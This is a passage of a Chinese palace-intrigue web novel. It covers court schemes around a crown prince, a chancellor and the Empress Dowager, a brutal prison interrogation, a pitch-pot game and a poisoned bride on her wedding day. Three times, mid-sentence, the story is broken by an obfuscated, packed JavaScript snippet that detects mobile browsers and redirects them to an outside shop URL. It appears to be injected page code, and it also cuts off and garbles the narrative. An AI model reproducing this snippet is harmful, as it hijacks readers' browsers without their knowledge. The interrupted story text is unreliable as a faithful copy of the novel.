天光杳杳落,钟磬一声声。 佛堂内,日影斜斜打下,地上铺的莲纹方砖被它砍得半明半暗。 方承鹤的小厮三月在他耳边低声回禀了两句。 方承鹤闻言,神情遽变,“你说什么?” 太后阖着眼睛,跪在佛前,缓缓转动腕上的小叶紫檀念珠。 她悠悠开口道,“承鹤,你陪哀家在这西山住了多日,怎么还是这般沉不住气。” 方承鹤一挥手,打发了小厮出去,回身恭敬道,“太后娘娘,肃安王在回京途中遇到了刺客,眼下不知生死。太子殿下的人带走了京县的县丞冯同庆,已经下了大狱了。” “一介县丞罢了,哀家倒不信他有这么大的本事。” “是啊,这冯同庆是宰相席容炎的人,太子殿下此举,怕是意在宰相。” “那就更好了,尽管让他们斗去,你有什么可紧张的。” “只是——这肃安王是在西山附近出的事儿——” “哦?”太后拨着念珠的手微微顿了一下,“承鹤,肃安王遇刺,该不会是你安排的吧?” “不瞒姑母,我原本是有这份心思的,可还没等侄子下手,肃安王就先出事儿了。侄子也不知道,这刺客究竟是谁派来的,偏又是在西山一带,侄子是怕有人借此嫁祸姑母。” 太后闻言,絮絮一叹,“犹如莲花不着水,亦如日月不住空,承鹤,你虽身在佛堂,心却还在红尘之中。”[1] 方承鹤垂着头,“侄子知道,姑母给侄子取名承鹤,就是希望侄子能不问世事,做个闲云野鹤,可是侄子不甘心呐。姑母是皇上的亲生母亲,皇上他刚登基的时候,咱们方家可是出过力的,皇上凭什么把姑母逼进西山,凭什么把方家挤出内阁,侄子实在为姑母鸣不平!” “阿弥陀佛,哀家老了,不想再管这些事了,承鹤,你是方家的血脉,哀家自然疼你。可是皇上,太子,肃安王他们也是哀家的血脉。皇上不仁,哀家却不能不义,你去吧——” “太后娘娘!姑母!” 太后双手合十,口中念佛,任凭方承鹤如何磕头,也不再理会。 安然推开了门,“方公子,我送你出去。” 方承鹤一脸落寞,撑膝站了起来,“有劳姑姑了。” 太后听见二人的脚步声渐渐远了,这才睁开眼睛,她凝视着龛中供着的佛像,喃喃自语,“阿弥陀佛,哀家造的孽,到底什么时候才能还清呀。” 刑部。 牢门“吱呀”一声,开了。 冯同庆脑袋昏沉,他费力睁开眼睛,瞧见一双乌皮六合靴在视野中一点点变大。 他扯着嗓子喊道,“下官冤枉,下官冤枉呀!” 魏晗烨缓步走到他的跟前,“冯同庆——冯大人——” 冯同庆见是魏晗烨,仿佛看到了救命稻草,用力挣扎起来,“太子殿下!太子殿下饶命!” 魏晗烨居高睨视着他,“冯大人可想清楚了吗?” 冯同庆水米未进,又被倒着吊了一天一夜,这会子是一点力气都没有了,他舔着干裂的嘴皮,求饶道,“太子殿下饶了下官吧,下官没有撒谎,下官是真的不知道肃安王的事情。” “西山附近的几处郊区都归冯大人管辖,眼下,肃安王在你的地界儿出了事儿,孤不问你,问谁呀?” “殿下,下官不过一介县丞,怎敢谋害皇子,这是要株连九族的死罪呀,恳请殿下明鉴。” “你不敢,不代表席容炎不敢,冯同庆,孤知道,你一向与宰相府往来密切,此事若是宰相的授意,你老实交代了,孤或许还可以饶你不死。” 冯同庆转了转眼珠,“此事下官的确不知情,下官也不敢随意攀诬宰相大人。” 魏晗烨笑道,“行吧,张尚书。” 张悍上前一步,“殿下,臣在。” “孤就把他交给你了,务必让他吐出实话来!” “是,太子殿下慢走。” 张悍看向冯同庆的目光阴鸷森然,仿佛在看一块落在砧板上的鱼肉,冯同庆打了个哆嗦,“张悍,打狗还得看主人呢,我可是宰相的人,你要动手,也得掂量掂量自己几斤几两。” “哼,是吗?” 张悍走近几步,俯下身道,“冯大人,宰相大人在你入狱之后,就派人递了话来,你可知道,他都吩咐了些什么吗?” “什么?” “宰相大人体恤你劳苦功高,命我早些动手,免得你在狱中受苦。” 冯同庆脸上的肌肉不住抽搐着,他张大了嘴巴,“不可能,宰相大人不会这么对我的,不会的,张悍,你在骗我!你一定是在骗我!” 张悍从袖中取出一块令牌,往他眼前晃了晃,“宰相府的令牌,冯大人不会不认得吧。” “不,这不可能——”温热的液体顺着冯同庆的脸颊流淌,滴滴答答地落在了地上。 张悍哂笑,“哟,冯大人的衣裳怎么湿了呀。” 狱卒上去查看,憋不住笑道,“大人,他好像吓尿了。” “哈哈哈,本官还没动手呢,怎么就把冯大人吓成了这样,多不体面呀。”张悍挥了挥袖子,“罢了,先给冯大人梳洗梳洗,松松筋骨,咱们再慢慢审。” 狱卒应了声“是”,割断绳子,将冯同庆放了下来。 冯同庆被倒吊了太久,现下骤然被放,只觉得天旋地转,仿佛翻了个个儿,他的头发被地上的尿液浸湿,又冷又黏,像是冰冰凉的刑具穿透了头颅。 冯同庆有气无力地吩咐狱卒,“算你识相,还不快给我松绑!” 张悍笑道,“本官差点忘了,冯大人一向在衙门听差,对咱们刑部的规矩怕是不大了解。小吴啊,你给冯大人介绍介绍。” “冯大人有所不知,咱们刑部的梳洗可和一般的梳洗不同,用的水呀,是滚开的沸水,小人们先把这水往您身上淋几遍,等您泡舒坦喽,再用铁刷子一下一下刮去您身上的皮肉。您是没见过呀,小人们伺候过的主儿,最后身上都是白一块红一块,那叫一个好看!” 冯同庆脸色煞白,一动不动地瘫在原地。 小吴拍了拍手,“上铁床。” 不一会儿,狱卒们就抬了一张烧红的铁板床上来,冯同庆颤颤巍巍支起身子,望了过去,只见铁床上面血迹斑驳,还残存着死去之人的皮肉。 小吴探身扶他,“冯大人,请吧——” “不,不要啊!”冯同庆哭得涕泗横流,膝行数步,爬到张悍脚下,“张悍,张尚书,我求你救救我,我不想死,我真的不想死,我家里还有七十多岁的老母,我真的不想死啊!” 张悍皱了皱眉,一脚踹开了他,掩着鼻子说道,“冯大人呐,能救您的只有您自个儿,你要是招了,本官也能对太子殿下有个交代,自然不会再难为你。” “可,可是我真的不知道肃安王的事啊!” 张悍不耐烦地挥了挥手,两个狱卒立刻架起冯同庆,把他往铁床上拖。 “不!不!我,我知道别的事情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502776|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张悍,我知道别的事情!” “等等——”张悍转过身,“什么事情?” 冯同庆喘着粗气,仿佛一脚踏进地狱,一脚留在人间,“有关,有关西域的事儿。” “说来听听。” “张悍,我求你一件事,你如果不答应我,我就是做鬼也不会放过你。” 张悍眯起眼睛,“你说。” 冯同庆笑得凄凉,“我知道,我无论说与不说,定然都是活不成了的,我只求你,在我死后,帮我照看一下我的母亲,不要让她被我连累,求你了!” 张悍低下头,眼中难得有了一丝悲悯之色,“好,我答应你。” 席地斋。 席容炎眉头紧缩,“你送去的银子,张悍可都收下了?” “收下了,他说,请父亲放心,他会把此事了结干净。” “那就好。” “其实,肃安王遇刺的事儿本就不是我们所为,太子再怎么审他,也审不出个所以然的。” “我倒不怕这个,我只是担心,冯同庆为了活命,会供出其他的事来。” 席容弥成斟了一杯热茶,“父亲请。”席容炎端在手里,听席容弥成继续说道,“儿子已经把他的母亲接到了乡下的一处宅子里,便是为了他的母亲,他也不敢多嘴。” “嗯,冯同庆生性贪婪,又喜欢酗酒玩乐,却是个难得的大孝子,你扣住了他的母亲,量他也不敢胡来,刑部还有咱们的人吧,得想办法把这个消息递进去。” “儿子找了狱吏小吴,从前父亲还在刑部的时候,对他有过恩典,如今小吴跟着张悍,混得也是如鱼得水。” 席容炎颔首,“这件事你办的不错。”他啜了口茶,一个不稳,茶水就洒在了手背上。 席容弥成忙拿帕子帮他擦拭,“父亲小心。” “哎,我这段日子心里慌得很。皇上病重,珵儿出嫁,还没等咱们有所行动,肃安王又莫名其妙的消失不见了,真是让人烦心!” “是啊,儿子也想不明白,究竟是谁动的手,按说,肃安王身经百战,还是天皇贵胄,谁能轻易害他,谁敢轻易害他,如今他骤然遇刺,只怕所有人都会以为是父亲动的手。” “你是说,有人想要借机咬住咱们?” “哎,不好说呀。” 席容炎踱到窗前,望着西边那轮淹没在红云里的落日,“对了,联系上西域新可汗了吗?” “信送出去了好几封,但是一封回信也无。” 席容炎想了想,又问,“找到寒星了吗?” 席容弥成摇头,“也还没有消息,按说,寒星身上中着黄昏雨的毒,父亲给他的解药也早该用光了,他若还活着,必得回来,可他一直没有消息,只怕——” “寒星是我手下最得力的暗卫,这天下能杀他的人少之又少,我不相信,他就这么无声无息的死了。成儿,我在想,如果寒星还活着,他可能就是西域刚刚上位的尤里吐孜汗!” “啊,不会吧,我听说这尤里吐孜汗是从前汗王依拉洪的遗孤,如果寒星真的有这样的血脉,他怎么会甘心在咱们府里做暗卫呢。” “是啊,如果真的是寒星,如果他真的一早就知道自己的身世,他还能在我的手下隐忍这么多年,实在是太可怕了。” “父亲可有应对之策?” 席容炎一笑,“当然,俗话说,英雄难过美人关,我倒要看看,寒星是想要美人,还是天下!成儿,帮我研墨,我要亲自给这位尤里吐孜汗写一封信!” 69. 烛火曳竹帘 东宫。 袁青脚步轻快,呈上了冯同庆的供词,“殿下,成了!” 魏晗烨扫了一遍纸上的斑驳血迹,微微皱眉,“还是动刑了?” “是,冯同庆原本都答应老实交代了,结果听说他的母亲被人劫走,他就一句话都不肯再说,到底是张尚书有办法,用了刑才逼他说了实话。” “什么刑?” “梳洗之刑。” 魏晗烨倒抽一口凉气,“他还有气吗?” “早死了。” 魏晗烨捏着供词,“这是张悍的主意?” “是,听说他活生生挨了一个时辰,听说骨头都露出了好几块,是委实受不住才招的,招完就求张尚书赐他一个痛快。张尚书可怜他一片孝心,没让他走的太痛苦。” “罢了,袁青,你派人去寻一寻他的母亲,若是人还在世,务必好好赡养。” “殿下放心,已经派人去寻了,另外,为了不打草惊蛇,我让刑部的人都不许走漏风声。” “嗯,冯同庆身在狱中,怎么会知道外面的消息,刑部中必定还有席容炎的人。” “此事的确是我疏忽了。” “倒也不能怪你,席容炎升任宰相之前,便是在刑部担任尚书一职,难免还有些威信在。你给张悍传个话,让他暗中查访,揪出这个奸细,还有,所有知道此事的人都不准离开刑部,但是对外,不要说是因为冯同庆,只说是因为申如黛的案子事关重大,才要如此小心行事。” “属下知道,对了,还有一事,咱们安排在张府的人看到张悍收了席容炎送去的银子,而且,张家的三少爷张宇同席容家的二少爷席容弥德曾有往来。” “张悍这是想脚踏两条船,他既不敢违拗孤的旨意,又不愿意轻易得罪席容炎。” “那殿下还敢用他?” “有什么不敢的,都说文人自古相轻,其实朝臣更是如此。当年,席容炎和张悍一同在刑部供职,如果不是张悍行事太过狠厉,没准现在居于相位的就是他了。孤就不信,张悍会不嫉妒席容炎,会不恨他抢了自己的青云路。” 袁青点头,“是啊,不怕他们斗,就怕他们不斗。” 魏晗烨敛眉读了一遍供词,“去岁,父皇允了玉门关守将李怜灼的致仕之请,召他回京,升关内侯,奇怪的是,李将军迟迟未归,而霍翰羽也迟迟没有去玉门关接替李怜灼的位置,当时孤便觉得奇怪,果然,背后就是席容炎在捣鬼。” “席容炎的胆子也太大了,他当真以为,这些事都能办得神不知鬼不觉吗?” “他若是胆小,孤的——”魏晗烨喉结滚动了一下,“席容家的二小姐出嫁了吧?” “是的,听说昨日他们夫妻还一起归宁了呢,尚书嫡子,宰相千金,真是好大的排场。” “这么一算,席容烟也要嫁进东宫了。” “席容炎做的事情马上就要瞒不住了,事到临头,他肯定会铤而走险,放手一搏,殿下的婚事就是最大的破绽,殿下是该早做打算。” 魏晗烨的眼眸沉静如水,他静静看着博山炉吐出的絪缊烟气,仿佛看到了席容烟的身影。 “殿下?” “嗯?” “属下是说,殿下应当早做打算才是。” “嗯,孤交代的事情,你都办好了吧?” “都安排妥当了,只是属下不明白,殿下明知席容炎会在这桩亲事上动手脚,何必还要费这么大功夫,去想这些应对之策,莫不如直接在根源上着手,一了百了。” “你的意思是?” “斩草,务必除根。” “袁青,你这是在教孤做事吗?” 袁青连忙跪下,“属下不敢,属下只是担心殿下对那个女子动了真情。” 魏晗烨叹了口气,“她也实在是可怜,你起来吧。” 袁青站起身,却不敢再说话,虽然魏晗烨只说了“可怜”两字,可袁青却从他的话语间嗅出了一丝不寻常的情意。当一个男人爱上了一个女人时,他未必会说出“爱”这种字眼,但他一定会对这个女人产生一种保护欲,这就是男女之间动心的开始。 “时辰尚早,你随孤去看看兄长吧。” “是。” 郊外。 月影凄清,寒枝掩映,一个小小的茅草屋隐隐透出了些微火光。 魏晗烨挑起竹帘,只见肃安王生了堆火,火上正烤着两条小鱼。 “兄长倒是安逸。” “哈哈,你来了。” “袁青,你没安排人给兄长送饭吗,怎么还让兄长自己动起手来了?” 袁青正要说话,肃安王却已摆了摆手。 “你不要怪他,是本王自己呆得无聊,随便找些事儿消磨消磨时间。” “委屈兄长了。” “我倒是无所谓,只是怕母妃为我忧心。算了,不说这个了,你的事儿办得怎么样了?” 魏晗烨掀袍坐下,“冯同庆所知有限,尽管受尽酷刑,也只交代出他曾受席容炎的指使,将本该送往南蛮的诏书发往江北,致使当日,霍翰羽未能及时出兵援助你们。” 肃安王把鱼翻了个面儿,又往上撒了把盐,他看着金色的焦香一点点逸散升腾,随口道,“这就够了,你只是想要一个缺口,不是吗。” “是啊,拿到了冯同庆的供词,就有了席容炎同西域有所勾连的物证,剩下的事,还要麻烦兄长。” “这个你放心,本王一想到平乐受过的苦,就对席容炎恨之入骨,如果能除掉他,本王也算了了一桩心事。” “兄长见过西域的尤里吐孜汗吗,孤读了他送来的书信,觉得此人心机颇深,不似寻常只知在马背上征战的西域男子,一字一句,都给他自己留了余地,却又没有明说效忠大魏。” “我和他打过一次照面,他的身量颀长,形容清瘦,还长了一双蓝色的眼睛,的确不像西域人。我听说,他是依拉洪的儿子,所以才会受到依拉洪旧部的拥戴。当年,苏里唐为了谋夺汗位,亲手砍下了叔父依拉洪的头颅,又派人追杀依拉洪的阏氏还有他们唯一的儿子。后来,派去的人回来复命,说是二人已经跳河自尽,苏里唐却因没有见到尸首,又派人寻了十年之久,也是一点消息都没有,苏里唐慢慢相信了二人已死,此事才算作罢。” “十年之久?又得躲着追兵,又得填饱肚子,孤倒是好奇,他们孤儿寡母是怎么做到的。” “依拉洪的阏氏原是西国的公主,或许是她带着儿子回了母族吧。” “如此,倒也说得通了。” 肃安王用树枝串起烤鱼,贴着边儿咬了一口,“你还是多担心担心你自己吧,千金之子,坐不垂堂,你如此以身犯险,我怕你会得不偿失。”[1] 魏晗烨往前凑了凑,“好香啊,大哥,我也想吃。” 肃安王愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他神色一凛,微微皱眉,“不会是她吧?” 魏晗烨趁机抢回了帕子,揣在怀里,“什么她啊?孤听不懂。” “你知道我说的是谁,席容家的三小姐,席容烟,你不日就要娶进门的那位。” “兄长想多了。” 肃安王将信将疑,“真的吗?” 魏晗烨笑了笑,“难道兄长觉得,我和她之间应该有什么吗?” “那倒也是。” “多事之秋,宫里恐生事端,孤不能在外面多呆,就先回去了,这些日子还要再委屈兄长一下,若有什么缺的,尽管吩咐袁青他们。” 肃安王颔首,“放心吧,我就不送你了。” 袁青上前挑起竹帘,魏晗烨正要欠身而出,肃安王突然开口道,“等一下。” “怎么了?” “你知道三乘大师的行踪吗?” 魏晗烨摇头道,“六净寺里的人都说他是云游去了,怎么,兄长也在寻他?” “嗯,我想问问三乘大师有关轮回的事情。罢了,有机会再说吧。” 魏晗烨脸上浮现出若有所思的神色,“孤若是听到了他的消息,一定第一时间告诉兄长。” 70. 羽箭贯投壶 中宫。 魏風漪一笔一画,正往纸上描着卍字状的花纹,写完一张,便将纸揉成一团,掷在地上。 丫鬟香罗端着一碗冰酪进来,“哎呀,公主怎么又扔了一地呀。” 魏風漪丢开麒麟笔,由着墨汁浸透纸面,“母妃让我有空练练字,可我越练,心越不静。” “公主这是思念娘娘了,来,先吃点东西吧,奴婢看公主午膳的时候都没怎么动筷子。” “哇,是冰酪呀!香罗,还是你贴心。” 香罗笑道,“公主喜欢就好。” 魏風漪吃了两勺,忽然竖起耳朵,“咦,哪里来的琴音呀?” “声音像是从哲远王屋里传来的。” “哲远王?嗷,我知道啦,就是宫人嘴里的那个哑巴王爷,听说他和我差不多大呢!” “公主,这话可不能乱说,贤贵妃娘娘要是听见了,肯定会生气的。” 魏風漪顿时来了兴致,“管他们呢,你陪本公主去看看这个小哑巴!” 风过,竹帘微动,魏晗远一袭白袍,弹得忘我,丝毫未曾留意偷偷溜进来的魏風漪。 魏風漪倾耳听了一阵,待他一曲毕,抚掌而笑,“哲远王,其实你也不是小哑巴嘛。” 魏晗远扭头端详着她,“你是谁?” “哼,你居然不知道本公主的名字。” “公主?你是,席容皇贵妃的女儿?” “不错。” 魏晗远神情淡漠,“本王知道了,你可以离开了。” “喂,你什么态度呀。” “你不走,我走。”魏晗远抱起琴,就往门外走。 魏風漪叉着腰,挡住了他的去路,“你不许走。” 魏晗远才要伸手推她,便见她仰着脸说道,“君子动口不动手!你要是敢动本公主一根手指头,本公主一定给你好看!” 魏晗远第一次遇到这么刁蛮的女孩子,一时有些不知所措,只得抱着琴又坐了回去。 魏風漪一脸得意,没话找话,“你会弹琴呀,是哪位师傅教你的呀。” 魏晗远冷着脸,看也不看她。 魏風漪再接再厉,“你刚才弹的那首曲子好听极了,叫什么名字呀。” “晗远刚才弹的那首曲子名叫《关山月》。” 二人抬眼看向门外,只见魏晗烨负手走了进来。 “明月出天山,苍茫云海间。长风几万里,吹度玉门关。汉下白登道,胡窥青海湾。由来征战地,不见有人还。戍客望边色,思归多苦颜。高楼当此夜,叹息未应闲。晗远,你弹此曲,是在担心兄长吧。”[1] 魏晗远起身行礼,“太子殿下。” 魏晗烨笑着扶他,“太生分了,论起来,孤也是你的兄长,你该喊孤一声皇兄才是。” 魏晗远摇头,“不,君臣有别,先君臣,后兄弟。” 魏風漪欢喜的跑上前去,“晗烨哥哥!你来啦!” “是啊,来看看你们,漪妹妹,你在这儿呆的可还习惯吗?” “嗯——不太习惯,我只带了香罗一个丫鬟过来,这儿的人都不爱和我说话,也没有人陪我玩儿,好不容易发现了一个,结果还是个不爱说话的小哑巴。” 魏晗远有些生气,“你说谁是哑巴?” 魏風漪撇了撇嘴,躲在魏晗烨身后,只露出一个小脑袋,“谁不搭理我,谁就是哑巴。” “好了好了,晗远性子沉静,素来不怎么爱说话,漪妹妹,不可以胡说。” “好吧,漪儿知道错了。”魏風漪低下头,“其实我就是太无聊了嘛,皇后娘娘不准我出去,母妃也不来看我,每天呆在这个小小的宫殿里,真要把人给憋坏了。” 魏晗烨略作思量,“孤今日正好有空,你想玩儿什么,孤陪你们玩儿。” 魏風漪拍掌,笑得欢快,“太好啦,晗烨哥哥,那我们就玩投壶吧,好不好?” “好,晗远,一起玩呀?” 魏晗远迟疑了一下,微微点头。 “袁青,你去把本公主屋里的青白釉投壶取来。香罗,你来给我们计算筹数。” 魏晗远道,“太子殿下先请吧。” 魏晗烨接过羽箭,一投即中,香罗道,“有初,太子殿下十筹。” “晗远,该你了。” 魏晗远捏着箭尾,瞄了半日,这才投了出去,只见那支羽箭倒立着进了壶中。 香罗道,“可惜了,哲远王倒中,不计筹数。” 魏晗远倒是笑得风轻云淡,“本王一向不擅骑射,让各位见笑了。” “让我来!”魏風漪说着便挑了一支羽箭,屏气凝神,掷了出去。 香罗道,“公主这箭贯耳而过,又是初箭,计二十筹。” 魏晗烨赞许道,“厉害呀。” “那当然,要不我也不敢跟你们比这个啦。” 魏晗烨又投,只见那支羽箭斜依在壶口处,并未掉入壶底。 香罗道,“倚竿,且箭头正对投壶者,是为龙首,十八筹。” 魏晗远这次中了,因是散箭,只得一筹,之后该魏風漪投,她的箭还是贯耳而过,香罗笑道,“公主连中贯耳,得十筹。” 魏風漪笑容灿烂,“晗烨哥哥,我现在领先两筹了,你要想赢我,可得加把劲了。” 魏晗烨笑着抽出羽箭,往空中一抛,那箭在壶口上转了个圈,香罗道,“浪壶,十四筹。” “漪妹妹,你若是只会贯耳,定是赢不了孤的。” 魏風漪急得直搓手,又见魏晗远手里拿了一支羽箭,便道,“小哑巴,你也用点心思,挫一挫他的锐气,要不他也太得意了。” 魏晗远面无表情,仿佛根本没有听到她说的话,自顾自把箭投了出去。 香罗道,“哲远王这一箭是耳倚杆,得十五筹。” “哇,你开窍了呀。” 魏晗远神色依旧淡漠,递了箭给她,“该你了。” 魏風漪掂了掂箭,用力地掷了出去,那支羽箭擦着投壶的边儿进去,随即又弹了出来,掉在了地上。 香罗跺脚道,“哎呀,差一点就是骁箭了。” 魏晗烨再投,香罗道,“带韧,可得十筹。” 魏晗远放下手中羽箭,“太子殿下四箭皆中,是为全壶,我觉得不必再比了。” 魏風漪一把夺过,“要比,输了的人可是要罚的。”说着,她也学着魏晗烨的样子投了出去。香罗上前查看,“亦是带韧,十筹。如今已经投了四轮,太子殿下是五十二筹,公主是四十筹,王爷目前只得了十六筹。” “晗远,你还有一次机会。” 魏晗远笑着摇了摇头,“不投了,本王直接认输便是。” “也好,袁青,你给晗远斟酒。” 魏晗远举杯,一饮而尽。 魏風漪有些意犹未尽,“晗烨哥哥,咱们再比一局吧,我这次肯定能赢!” 魏晗远拱手道,“太子殿下,我刚刚喝了酒,现下有些困倦,就不玩了。” “罢了,晗远,你在这里好生歇着,若是短了什么,尽管去找母后要,或者差人来找孤,千万别客气。” “多谢太子殿下关怀。” 魏晗烨轻轻拍了拍魏風漪,“漪妹妹,我们走吧,别打扰晗远休息了。” 魏風漪看了魏晗远一眼,不情不愿地跟着魏晗烨离开了。 魏晗远拾起地上的两只羽箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502778|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,缓步走到窗边。 窗外白云悠悠,魏風漪一身娇俏红裙,仿佛在云海里上下翻舞的蝴蝶。 魏晗远很羡慕她,羡慕她想说什么就说什么,羡慕她所有的喜怒哀乐都可以写在脸上。 他低头看着手中羽箭,自嘲地笑了笑,随即背着身子,往后随意一抛。 随着“叮当”一声脆响,两只羽箭一边一个,齐齐贯耳而入。 西域。 “哈哈哈哈哈,好啊,艾山,你大破北疆,为西域解了北部之患,本汗要重重赏你!” “艾山不敢居功,大汗一早便有先见之明,让战士们操练了多种兵器,这才打了北疆人一个措手不及。” “嗯,此战胜在出其不意,如若再打,北疆人必然有所提防,我们还要再想应敌之策。” 帐外武士道,“大汗,沙吾提将军求见。” “进!” 沙吾提脚步急促,“大汗,席容炎那边又来信了。” 艾山道,“这个席容炎有完没完,先前写了那么多封信,大汗都没理会,他怎么还写?” 寒星懒得伸手接,只是淡淡扫了一眼,“送信的人可还说了什么?” “说了,那个人说,如果大汗不看,一定会后悔一辈子的。” “哼,他倒是很自信啊。” 沙吾提道,“大汗想和大魏交好,如今摄政的大魏太子又正好与席容炎不睦,大汗既然选择了大魏太子,自然便不能再理会席容炎了,那这封信——” 寒星挥了挥手,“烧了。” “是。” 衣袂飘动间,一枚同心结从寒星的袍袖中掉了出来,寒星目光一顿,“等等。” 沙吾提转过身来,“大汗?” “把信拿来。” 寒星撕开书套,细细读着信中内容,脸色越来越难看,“可恶!好你个席容炎啊!” 艾山见寒星神色不对,小心地问,“大汗,究竟出了何事?” 寒星眼眸微阖,攥着信的手隐隐跳着青筋,他咬牙道,“请巫医过来一趟,还有,本汗明日要去大魏办件事,西域这边的战事就先交给你们二人处理。” 艾山道,“大汗不可,穆则帕尔目前还没有抓到,他活着,便有可能在暗中生事。另外,北疆那边也可能会对我们不利。我们与大魏的关系一直十分微妙,大汗此刻不宜去大魏呀。” 沙吾提附和,“是啊大汗,如果大汗在大魏还有什么事情要办,我愿意替大汗去一趟,只是大汗万万不可离开西域,眼下西域离不开大汗啊!” 寒星俯身捡起地上的同心结,他想起了二人分别的时候,席容烟同他说的最后一句话,“生死,总在一处”,他也想起了自己说的那句话,“好好的,等我回来”。 其实,他对她原本只是利用,他需要给自己找到一个弱点,让席容炎放下戒心,一点点把西域的事交给他去办,这样,他就有了回西域报仇雪恨的机会。他在宰相府隐忍了太久,早已忘了男女之情这种事,他不知道,自己到底是什么时候真的对她动了心思。 艾山看着寒星手中的同心结,隐约猜到了什么,“大汗,恕艾山多嘴,大汗此番能顺利击败苏里唐,皆因大汗是已故汗王依拉洪之子的缘故,这才得到了大家的拥戴!只是,大汗一直没有说明这些年的去向,虽有胎记为证,大家心里也难免会有疑惑。如果大汗此时为了私情,不顾大局,恐怕会伤了战士们的心呀。” 寒星低着头,良久方道,“罢了,沙吾提,你带上黄昏雨的解药,替我去大魏找两个人。” 沙吾提行礼,“但凭大汗吩咐!” “太子妃席容烟,还有宰相府暗卫寒木。” “遵命!” 71. 黄昏雨毒发 烟雨阁。 屋内死一般的寂静,烛火摇曳,大红的“囍”字映在地上,如同鬼魅。 席容烟身穿大红嫁衣,蜷在角落里,桃夭跪着守在一边,泪都流干了。 “明日姑娘就要出嫁了,为什么老爷还不肯给姑娘解药。” “他,他这是想用我的性命,逼寒星现身。” “可是,万一寒将军已经死了呢,万一他赶不回来,姑娘岂不是就要——” “寒星曾经说过,这黄昏雨,第一日血染衣裳,苦在皮肉,第二日五脏六腑绞痛,苦在血肉,第三日毒入骨髓,无药可医,唯有等死。我如今才到第二日,想来还是有救的。” “可是姑娘明日,要等黄昏时分才会出嫁,到时候,正是黄昏雨毒发之时呀!” 席容烟从怀中取出自己的那枚同心结,紧紧攥在手心儿里,“他要是还活着,就一定会回来救我,他要是死了,我还活着做什么。” “姑娘,你要吃点什么吗,我瞧你的脸色实在是不好。” “不了,你去把沉香点上,难得我这会子不是很疼了,我歇一歇,养养精神,只怕明日还有的闹呢。” “是。” 桃夭服侍席容烟歇下,自己却是一夜未曾阖眼。 次日,席容烟直到午时方醒,席容夫人那边的华盛早已到了。 “姑娘,夫人遣我送了一碟水晶角儿过来,希望姑娘婚姻美满,早得骄子。” 席容烟歇了一夜,精神尚可,微微欠身道,“有劳华盛姑姑了,替我谢过母亲的好意。” “今日姑娘嫁入东宫,是大喜事儿,夫人怕桃夭办不妥当,特意让我请了两位全福嬷嬷,等下就请两位嬷嬷为姑娘梳头,绞面。” 席容烟看向华盛身后的两个嬷嬷,果然都是极老道的样子,想来是见过大场面的,也便笑道,“一看两位嬷嬷就是有福之人,一会儿就劳烦嬷嬷们了。” “姑娘客气了。” 嬷嬷拿起梳子,笑得和蔼可亲,“一梳梳到头,富贵不用愁。二梳梳到头,无病又无忧。三梳梳到头,多子又多寿。再梳梳到尾,举案又齐眉。二梳梳到尾,比翼共双飞。三梳梳到尾,永结同心佩。有头又有尾,此生共富贵。姑娘的头发乌黑顺滑,将来的日子呀一定顺顺当当,喜气祥和。”[1] “呈嬷嬷吉言。” “老身要给姑娘开脸了,会有些疼,姑娘忍着些。” 席容烟点了点头,便见她拿出细丝线,唱道,“福筷举一双,开始贵头鬃;去污求吉利,健康到百年……赐你富贵万万年,吉时同夫结良缘。”[2] 席容烟听得微微红了脸,低头不语。 华盛拍了拍手,立时便有丫鬟呈上一个朱漆戗金托盘,华盛笑着拿起盘中的双喜字镶金玳瑁珠镯,戴在了席容烟的腕上,“夫人在宴上脱不开身,嘱咐我来给姑娘添妆。” 席容烟对华盛笑了笑,“麻烦华盛姑姑替我谢谢母亲。” 门外四儿报,“四小姐来了。” 敛秋打起帘子,席容珍笑盈盈走了进来,“姐姐,我来看看你,华盛姑姑也在呀。” 华盛点头致意,“四小姐。” “珍儿,你怎么不在前头?” “我坐了一阵,心里记挂你,就偷偷溜出来了,福禄,快把我给姐姐准备的添妆礼拿来。” 席容烟看时,见是一对梅花银耳坠,中间还嵌了颗红宝石作花蕊,抿唇笑道,“这梅花耳坠真是好看,珍儿,谢谢你这份心意。” “记得姐姐喜欢梅花,就打了这耳坠子送给姐姐,姐姐喜欢就好。华盛姑姑,我瞧姐姐也梳洗的差不多了,眼下时辰尚早,可否容我和姐姐说几句话,也不枉我们姊妹好了一场。” “这个自然,四小姐请便就是。” 华盛说完,便出去了,席容珍向福禄使了一个眼色,福禄便也退下了,桃夭见状,忙拉了敛秋,四儿道,“咱们也出去吧,在门口候着就是了。” 席容烟见四下无人,便问,“珍儿可是有话同我说?” 席容珍神色肃然,“姐姐,父亲要在今日刺杀太子,姐姐要小心,千万护好自己。” “你说什么?” 